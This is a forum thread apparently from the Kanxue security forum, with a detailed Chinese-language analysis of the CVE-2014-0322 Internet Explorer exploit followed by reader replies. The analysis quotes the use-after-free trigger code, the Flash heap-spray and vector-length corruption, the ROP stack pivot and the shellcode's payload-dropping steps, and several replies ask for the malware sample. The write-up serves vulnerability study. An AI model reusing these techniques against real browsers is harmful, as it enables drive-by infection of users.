看雪论坛
发新帖
6

[原创]CVE-2014-0322 0day Exploit分析

古河 2014-2-17 10:55 6842
最近有个IE 0day (CVE-2014-0322)被用于挂马。尽管这个漏洞本身存在于IE里面,但是为了实现成功利用,这个样本还借用了flash作为辅助,来突破各种防护。IE+flash的组合也给分析带来了一些挑战,以前没有分析过这样的组合,正好借此机会详细分析了一下,整理成文章,大家一起交流学习。如有错误之处,还请大家批评指正。

本文涉及的内容包括:
1.        整个exploit的流程分析。
2.        漏洞的成因。
3.        使用flash uint vector进行DEP/ASLR绕过的技术。
4.        样本中的ROP片段。
5.        样本的shellcode行为。

样本网上搜搜都有,我就不发了,不传播恶意软件~

CVE-2014-0322 0day Exploit 分析

古河

http://weibo.com/u/1874932054


最近有个 IE 0day (CVE-2014-0322)被用于挂马。尽管这个漏洞本身存在于 IE 里面,但是为了
实现成功利用,这个样本还借用了 flash 作为辅助,来突破各种防护。IE+flash 的组合也给分
析带来了一些挑战,以前没有分析过这样的组合,正好借此机会详细分析了一下,整理成文
章,大家一起交流学习。如有错误之处,还请大家批评指正。

本文涉及的内容包括:

1. 整个 exploit 的流程分析。

2. 漏洞的成因。

3. 使用 flash uint vector 进行 DEP/ASLR 绕过的技术。

4. 样本中的 ROP 片段。

5. 样本的 shellcode 行为。

1.本文使用的样本

本文使用的样本一共包含三个文件

Index.html  (就是那个 html 文件,原名叫什么我忘了)

Tope.swf

Erido.jpg

这些文件在网上搜一下基本都能找到了,我这里就不给出来了。

2.入口点

整个攻击的入口点是 index.html,它会尝试去加载 Tope.swf:

<embed src=Tope.swf width=10 height=10></embed>

3.Tope.swf 加载以及 heap spray

在 Tope.swf 初始化的时候,它首先尝试从服务器获取”Erido.jpg”

_local1.url = "Erido.jpg";
this.l.dataFormat = URLLoaderDataFormat.BINARY;
this.l.addEventListener(Event.COMPLETE, this.E_xx);
this.l.load(_local1);


接着尝试分配大量的 flash uint vector 对象,来进行 heap spray。每个 vector 包含 1022 (0x3fe)
个元素。由于每个 vector 对象包含 8 字节的头部(header),因此每个对象实际占用的内存大
小是 0x1000 字节(0x3fe * 4 + 8)。这部分 spray 总共需要大约 400M 左右的内存。

this.s = new Vector.<Object>(98688);     // totally 98688 vectors to spray
 
var _local7:* = ((0x1000 / 4) - 2);     // each vector has 0x3fe elements

…

while (_local2 < 98688) { 

…
 
this.s[_local2] = new Vector.<uint>(_local7);     // create one of the vectors
 
}


同时 Tope.swf 还会 spray 少量的 flash object vector,里面存放了同一个 flash.media.Sound 对
象的引用:
while (_local2 < 0x0400) {
this.ss[_local2] = new Vector.<Object>(_local9);
_local3 = 0;
while (_local3 < _local9) {
this.ss[_local2][_local3] = this.snd;   //初始化成同一个 Sound 对象
_local3++;
};
_local2++;
};


做完 heap spray 后,flash 里面会通过 ExternalInterface 调用 index.html 里面的“puIHa3”函数。

4.use-after-free 漏洞和 inc-by-one 魔法

“puIHa3” 函数会尝试触发 CVE-2014-0322 漏洞,这是一个 CMarkup 对象的 user-after-free 漏
洞。网上已经有很多关于漏洞原理的分析了,这里就简单过一下:

var a=document.getElementsByTagName("script");
var b=a[0]; 
b.onpropertychange=fun;    // 为 script 节 点 设 置 “onpropertychange”
08:45 处理函数
var c=document.createElement('SELECT');    // 创建一个 “select”节点
c=b.appendChild(c);    // 将新创建的 select 节点附加到 script 节点上


当调用 appendChild 时,MSHTML!CElement::Var_appendChild 被调用,在这个过程中一个新
的 CMarkup 对象会被创建:

[B]MSHTML!CDoc::CreateMarkupFromInfo+0x0000017f    // new CMarkupObject created[/B]
MSHTML!CDoc::CreateMarkupWithElement+0x0000008a
MSHTML!CElement::GetDOMInsertPosition+0x000001c0
MSHTML!CElement::InsertBeforeHelper+0x0000007e
MSHTML!CElement::InsertBeforeHelper+0x000000e5
MSHTML!CElement::InsertBefore+0x00000036
MSHTML!CElement::Var_appendChild+0x000000cb


然后 appendChild 继续运行,来到这里:
[B]MSHTML!CMarkup::NotifyElementEnterTree+0x1df
call     CElement::HandleTextChange(bool)[/B]


这个函数的调用最终会触发 onpropertychange 事件,于是我们之前注册的回调函数会被调用,
回调函数中的一行代码回引发 DOM 的释放,从而造成 CMarkup 对象的释放:
this.outerHTML=this.outerHTML    // frees the DOM thus frees the CMarkup Object


在 CMarkup 对象被释放以后,样本立即尝试将释放的内存站位:
for(a=0;a<arrLen;++a)
{
g_arr[a].title=d.substring(0,d.length);
}


上述代码通过分配一系列 string 对象,来实现站位。

在 CMarkup 被释放并被占位以后,程序继续运行,来到这里:
CMarkup::UpdateMarkupContentsVersion(void)
.text:637C943E
.text:637C943E                      mov      eax, [edx+7Ch]
.text:637C9441                      inc      eax
.text:637C9442                      or       eax, 80000000h
.text:637C9447                      mov      [edx+7Ch], eax
.text:637C944A                      mov      eax, [edx+0ACh]
.text:637C9450                      test      eax, eax
.text:637C9452                      jz          short loc_637C9457
[B].text:637C9454                      inc        dword ptr [eax+10h][/B]


这里 CMarkup 对象已经被释放并站位,运行 inc      dword ptr [eax+10h]时,
eax+10h is 已经被设置成 0x1a1b2000 (可设置成任意值), 所以这条指令会将 1a1b2000 处
的数据增加 1。

这个漏洞的效果总结起来就是:可以对任意地址的一个字节实现+1。

那么这个任意地址数据+1 的效果,如何和这里的 exploit 利用联系起来呢,0x1a1b2000 处的
内存数据到底是什么呢?

大家是否还记得,Tope.swf 一开始就 spray 了大量 uint vector 到内存里面,实际上,如果 spray
是成功的,那么 0x1a1b2000 这个地址将会指向某个 vector 的 size 字段。先来看一下 uint vector
在内存里面的布局:


Uint vector 包含一个 8 字节的头部,其中 4 个字节是长度字段。

来看一下 1a1b2000 处的内存数据是不是这样:
0:006> dd 1a1b2000
1a1b2000  000003fe 08c24000 deadbee1 00000000
1a1b2010  1a1b2000 1a1b2000 00000000 00000000


可以看到,1a1b2000 处的 dword 值是 0x3fe,正是一开始 spray 的 uint vector 的长度。然后
执行完 inc dword ptr [eax+10h]指令之后,内存为:
0:006> dd 1a1b2000
1a1b2000  000003ff 08c24000 deadbee1 00000000
1a1b2010  1a1b2000 1a1b2000 00000000 00000000


这代表了什么呢?简单来讲:
我们先定义了一个 0x3fe 大小的 uint vector,然后通过漏洞,将其内存中的长度字段增加,
这样当我们在 flash 脚本中再次访问这个 uint vector 时,flash 库会误以为这个 vector 的长度
比 0x3fe 要大。于是我们可以实现对这个 vector 的越界读写。


修改完 vector 长度字段后,html 的任务就完成了,下面回到 flash 中继续执行。

5.任意内存读写以及 ROP

回到 flash 以后,首先样本会尝试找到那个大小被修改的 vector,我们叫它”V1”。然后执行
如下语句:
V1[0x3fe] = 1073741808;


很明显,这里下标已经越界了(因为定义 V1 的时候其长度为 0x3fe)。于是造成的效果时越
界写入了一个 dword。由于 spray 时这些 vector 是连续分配的,这个 1073741808 实际上覆
盖到了 V1 下面一个 vector 的长度字段,我们把这个 vector 叫做”V2”。

因为 V1 在内存中地址为 0x1a1b2000 , 因此 V2 的起始地址为 0x1a1b3000 (每个 vector 占
0x1000 字节),我们看一下 V2 的内存数据
0:006> dd 1a1b3000
1a1b3000  3ffffff0 08c24000 deadbee1 00000000
1a1b3010  1a1b2000 1a1b2000 00000000 00000000


可以看到,V2 的长度字段已经被篡改成了一个非常大的值 0x3ffffff0 (1073741808)。此时通
过操作 V2,我们几乎可以对整个内存空间实现任意读写。至此,“任意地址加一”成功转化
成了“任意地址读写”。


下面为了过 DEP 保护,样本开始构造 ROP。利用任意地址读写的功能,它在进程的内存空
间里面搜索 ROP 指令和函数,用的是 ntdll 里面的指令做 ROP。,这里讲一下搜索的基本过程,
详细的大家可以自己看代码。

flash.media.Sound 对象指针 -> flash.media.Sound 对象虚函数表 -> flash 模块基
地址 -> flash 某块导入表 -> kernel32 函数地址 -> kernel32 基地址 -> kernel32
导入表 -> ntdll 函数地址 -> ntdll 基地址 -> (ZwProtectVirtualMemory 地址和
[xchg eax, esp; ret;] 指令地址)

接着样本覆盖某个 flash.media.Sound 对象的虚函数表, 然后调用其函数,让控制流跳转的
ROP:

Flash!IAEModule_AEModule_PutKernel+0x212712:
66769ae2 ff5070             call     dword ptr [eax+70h]  ds:0023:1a1b3170=77a646a8


6.ROP 指令

这次的 ROP 相当简单,只有两步:

第一步:
77a646a8 94    xchg    eax,esp    // Pivot the stack pointer


第二步:
ntdll!ZwProtectVirtualMemory    (1a1b3000, 1000, PAGE_EXECUTE_READWRITE)


第一条 ROP 指令将栈指针指向可控的内存,第二条指令将第二阶段 shellcode 的属性改为可
执行,然后返回到第二阶段的 shellcode。

7.第二阶段的 shellcode

第二阶段的 shellcode 起始地址为 1a1b311c。
这里首先恢复被覆盖的 flash.media.Sound 对象的虚表,然后搜寻 API 地址。调用 API 的时候
会做 inline-hook 检查,发现 hook 直接跳过前 5 个字节:


第二阶段 shellcode 干的事情如下:

1.将“Erido.jpg”包含的数据解码,算法如下:
foreach byte b in buffer:
if b != 0 && b != 0x95:
b ^= 0x95


2. 扔两个 PE 下来:
%TEMP%\sqlrenew.txt
%TEMP%\stream.exe


3. 调用 LoadLibrary 加载 sqlrenew.txt

4. 返回到 flash 代码


8.总结

这次的样本,虽然漏洞出在 IE 里面,但是利用了 flash vector 实现了 DEP/ASLR 的突破。这种
通过漏洞修改数组、字符串长度来实现高级 exploit 的方法已经非常常见,在 IE、pdf、flash、
java、firefox、chrome、safari 等支持脚本的软件的 exploit 里面都有出现。详细推荐阅读 xiaobo
大牛的文章:
http://www.fireeye.com/blog/technical/cyber-exploits/2013/10/aslr-bypass-apocalypse-in-lately-
zero-day-exploits.html

注:本帖由看雪论坛志愿者PEstone 重新将PDF整理排版,若和原文有出入,以原作者附件为准
上传的附件:
本主题帖已收到 0 次赞赏,累计¥0.00
最新回复 (72)
5
zhuliang 2014-2-17 11:00
2
陈兄又发牛贴,赞一个。
我敢保证,不久就被设为精华。
34
安于此生 2014-2-17 11:04
3
顶楼主...
1
hrpirip 2014-2-17 11:06
4
顶楼主。
uuwhat 2014-2-17 11:08
5
跟楼主好好学习!
1
gamehacker 2014-2-17 11:09
6
楼主的分析是极好的~
19
仙果 2014-2-17 11:30
7
精华是必须的。谢谢古河大牛
zrhai 2014-2-17 11:37
8
正拿到个这类样本,谢谢楼主分享!
1
张jialin 2014-2-17 12:04
9
我下的样本里面的Erido.jpg没见了。。。多了一个tope.as3文件,不知道各位是在哪里找到样本的?
旧信纸 2014-2-17 12:08
10
围观大牛,那么多下载,这么少回复。
ovenwlm 2014-2-17 12:48
11
膜拜大牛
1
TeddyJoy 2014-2-17 12:55
12
顶,古河大牛!已学习!
1
JoySauce 2014-2-17 13:40
13
mark
lizhenzhe 2014-2-17 13:59
14
mark 有空看看,感谢分享
9
tishion 2014-2-17 14:21
15
这才是大牛漏洞分析啊,以后得多学习学习现有的CVE了。
9
tishion 2014-2-17 14:41
16
有个疑问:
这里 CMarkupCMarkup对象已经被释放并站位,运行 对象已经被释放并站位,运行 对象已经被释放并站位,运行 对象已经被释放并站位,运行 对象已经被释放并站位,运行 对象已经被释放并站位,运行 对象已经被释放并站位,运行 已经被设置成 已经被设置成 已经被设置成 (可设置成任意值) , 所以这条指令会将 所以这条指令会将 1a1b2000处 的数据增加 1


这个被inc的地址0x1a1b2000是如何控制的?
是不是在CMarkup对象被析构之后,占位的时候填充的字符串?
6
古河 2014-2-17 15:11
17
是的 。。。
9
tishion 2014-2-17 15:14
18
DONE,多谢。
crackhell 2014-2-17 15:29
19
顶起。不愧是大牛。写的很详细
cooolie 2014-2-17 16:38
20
学习了~support!
8
xee 2014-2-17 16:53
21
不错不错,分析得很到位啊:)
惜u雪 2014-2-17 16:57
22
样本难找
举剑问天 2014-2-17 17:10
23
求样本,分析下
谢谢
惜u雪 2014-2-17 17:43
24
哪位好心人给个样本吧
搜了好久都没找到
谢谢
2
JoenChen 2014-2-18 09:31
25
写的非常好啊. 深入浅出.
9
tishion 2014-2-18 11:15
26
40
riusksk 2014-2-18 11:40
27
修改长度字段实现任意地址读写,然后搜索ROP指令来绕过DEP/ASLR,在浏览器漏洞利用上也挺常见的,结合swf来实现任意地址读写的方式可能相对少见些(也许可能被曝光的少些)。
12
boywhp 2014-2-18 14:33
28
我是来MARK的
baiyunbian 2014-2-18 17:25
29
这么好的东东,必须要回
katkat 2014-2-18 19:58
30
佩服大牛啊,学习了。
月月h 2014-2-18 22:08
31
膜拜大牛,
请问样本里的as3文件是生成swf用的么?Erido.jpg有么?
flash脚本不怎么懂啊,看得比较晕
bluesming 2014-2-18 23:06
32
围观。。。
我属于不明觉厉
xiaobing 2014-2-19 09:23
33
受教\受教
1
caigui 2014-2-19 10:13
34
膜拜大牛...mark
suwey 2014-2-19 10:40
35
大神你是做啥的。。求带
4
viphack 2014-2-19 13:03
36
mark  一下
lhjjx 2014-2-19 15:26
37
插楼说个我自己分析flash漏洞中一只没有解决的疑惑:

12年的时候很多flash漏洞的shellcode直接放在swf里面,以BinaryStream还是ByteStream的方式存储(准确名称已经记不得了,这部分的作用应该是swf中的swf,时间过去比较久了记忆模糊)。因为ROP兼容性的问题,我想尝试修改或者添加ROP支持更多的平台,用Action Script Viewer可以得到可读性和质量比较好的AS源文件,但尝试再用FlashCS编译回去的时候,占swf空间最多的这部分ByteStream死活编译不回去,造成输出的swf既不能触发漏洞也执行不到shellcode(貌似是废话,汗一个
easonxu 2014-2-20 09:21
38
顶大牛校友
8
fosom 2014-2-20 09:27
39
赞一个。。。。。。。
1
elianmeng 2014-2-20 09:45
40
Mark
1
独行孤客 2014-2-20 11:51
41
我下来看看,话说作安全的人,真是得时时要学习,写网页估计就轻松多了
lasvegas 2014-2-20 13:07
42
顶大牛,学习之。
1
冰翼show 2014-2-20 13:19
43
古河大牛的文章,一直很好!
fighter 2014-2-20 23:02
44
顶大牛一个,干货满满
dost 2014-2-22 01:23
45
Mark
wuyangbo 2014-2-22 10:29
46
抓紧跟上大牛的步伐
coolingex 2014-2-23 03:52
47
0day什么的最吸引人了
JoanLin 2014-2-24 09:22
48
跟楼主好好学习
范小贩 2014-2-24 10:30
49
谢谢古河兄
大果粒 2014-2-24 17:39
50
我要好好跟着学。
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 域名 加速乐 保护 | SSL证书 又拍云 提供 | 微信公众号:ikanxue
Time: 0.018, SQL: 14 / 京ICP备10040895号-17